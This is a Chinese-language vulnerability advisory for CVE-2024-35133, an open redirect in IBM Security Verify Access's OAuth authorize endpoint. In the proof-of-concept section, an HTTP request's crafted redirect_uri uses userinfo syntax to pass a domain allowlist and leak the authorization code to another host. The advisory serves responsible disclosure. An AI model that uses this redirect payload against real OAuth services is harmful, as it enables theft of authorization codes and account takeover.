IBM Security Verify Access - OAuth 流程中的开放重定向 (CVE-2024-35133)

概述

版本: 1.0
影响:
远程攻击者可通过诱使受害者访问特制网站，利用此漏洞伪造显示 URL 并将用户重定向至恶意网站。这可能导致攻击者获取高度敏感信息或对受害者发起进一步攻击。

严重性:

NIST：高危
IBM：中危

CVSS 评分:

NIST：8.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
IBM：6.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N)

CVE-ID: CVE-2024-35133

厂商: IBM

受影响产品:

IBM Security Verify Access
IBM Security Verify Access Docker

受影响版本: 10.0.0 - 10.0.8

产品描述

IBM Security Verify Access 是一套完整的授权和网络安全策略管理解决方案。它能够对分布在地理分散的内部网和外部网上的资源提供端到端保护。

主要功能包括：

身份认证：提供多种内置认证器，并支持外部认证器。
授权：对受保护资源的请求做出安全的允许或拒绝决策。
数据安全与集中资源管理：通过公司防火墙系统，利用公共互联网连接管理对内部网络资源的安全访问。

详细描述

在对客户 OAuth 流程进行渗透测试期间，发现了一个开放重定向漏洞，该漏洞可能导致 OAuth "code" 变量泄露。

通过绕过负责验证 OAuth 流程中 "redirect_uri" 参数的解析器逻辑（利用 RFC 3986），攻击者可以操纵 IBM Security Verify Access 中的域名白名单过滤器。这导致开放重定向至攻击者控制的任意域名。受害者可能被重定向至恶意站点，而域名在表面上看起来是可信的。

这可能导致敏感信息（如 OAuth "code" 令牌）的暴露，或对受害者发起进一步攻击。

概念验证

请求

GET /oauth/oauth20/authorize?response_type=code&client_id=[REDACTED]&state=001710863806728MPUw0xFSj&REDACTED_uri=https://legitimate.domain:[email protected]/[REDACTED]/openid/REDACTED/[REDACTED]&scope=openid+ HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

响应

HTTP/1.1 302 Found 
content-language: en-US 
date: Tue, 19 Mar 2024 16:04:35 GMT 
location: https://legitimate.domain:[email protected]/[REDACTED]/openid/REDACTED/[REDACTED]?state=001710863806728MPUw0xFSj&code=7wkH581y0uyS0nm4ff65zCqHn0WC46w7v&iss=[REDACTED] 
p3p: CP="NON CUR OTPi OUR NOR UNI" 
x-frame-options: DENY 
x-content-type-options: nosniff 
cache-control: no-store 
x-xss-protection: 1; mode=block 
x-permitted-cross-domain-policies: none 
cross-origin-resource-policy: same-site 
content-security-policy: frame-ancestors 'none' 
referrer-policy: no-referrer-when-downgrade 
strict-transport-security: max-age=31536000; includeSubDomains 
pragma: no-cache 
Content-Length: 0.

解决方案

请参阅 IBM 安全公告 7166712 获取补丁、升级或建议的变通方案信息。
更多详情见参考资料。

披露时间线

2024年3月19日：安全研究员 (Giulio Garzia) 发现漏洞
2024年3月21日：漏洞告知依赖 IBM Security Verify Access 的客户
2024年4月2日：漏洞报告给 IBM
2024年5月14日：IBM 确认漏洞
2024年7月18日：IBM 向客户提供预发布补丁
2024年8月27日：IBM 发布安全公告并公开漏洞

参考资料

致谢

本漏洞由以下人员发现并报告：

Giulio Garzia
LinkedIn
GitHub

法律声明

允许以电子形式重新分发本公告。未经明确书面同意，不得编辑。如需在其他媒体上转载本公告，请联系作者。

免责声明：本公告中的信息基于可用数据，在发布时是准确的。不提供任何担保。作者和出版商均不对因使用此信息而导致的直接、间接或后果性损害承担责任。

IBM-Security-Verify-oAuth_Token_Steal-CVE-2024-35133

最受欢迎